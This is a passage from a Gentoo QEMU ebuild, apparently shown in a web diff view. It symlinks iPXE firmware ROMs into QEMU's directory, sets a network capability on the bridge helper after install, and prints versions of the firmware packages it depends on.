||||
dosym ../ipxe/80861209.rom /usr/share/qemu/pxe-eepro100.rom
|
||||
dosym ../ipxe/10500940.rom /usr/share/qemu/pxe-ne2k_pci.rom
|
||||
dosym ../ipxe/10222000.rom /usr/share/qemu/pxe-pcnet.rom
|
||||
dosym ../ipxe/10ec8139.rom /usr/share/qemu/pxe-rtl8139.rom
|
||||
dosym ../ipxe/1af41000.rom /usr/share/qemu/pxe-virtio.rom
|
||||
fi
|
||||
fi
|
||||
|
||||
qemu_support_kvm && readme.gentoo_create_doc
|
||||
}
|
||||
|
||||
pkg_postinst() {
|
||||
if qemu_support_kvm; then
|
||||
readme.gentoo_print_elog
|
||||
fi
|
||||
|
||||
if [[ -n ${softmmu_targets} ]] && use kernel_linux; then
|
||||
udev_reload
|
||||
fi
|
||||
|
||||
fcaps cap_net_admin /usr/libexec/qemu-bridge-helper
|
||||
}
|
||||
|
||||
pkg_info() {
|
||||
echo "Using:"
|
||||
echo " $(best_version app-emulation/spice-protocol)"
|
||||
echo " $(best_version sys-firmware/ipxe)"
|
||||
echo " $(best_version sys-firmware/seabios)"
|
||||
if has_version 'sys-firmware/seabios[binary]'; then
|
||||
echo " USE=binary"
|
||||
else
|
||||
echo " USE=''"
|
||||
fi
|
||||
echo " $(best_version sys-firmware/vgabios)"
|
||||
}
|
Loading…
Reference in New Issue
Block a user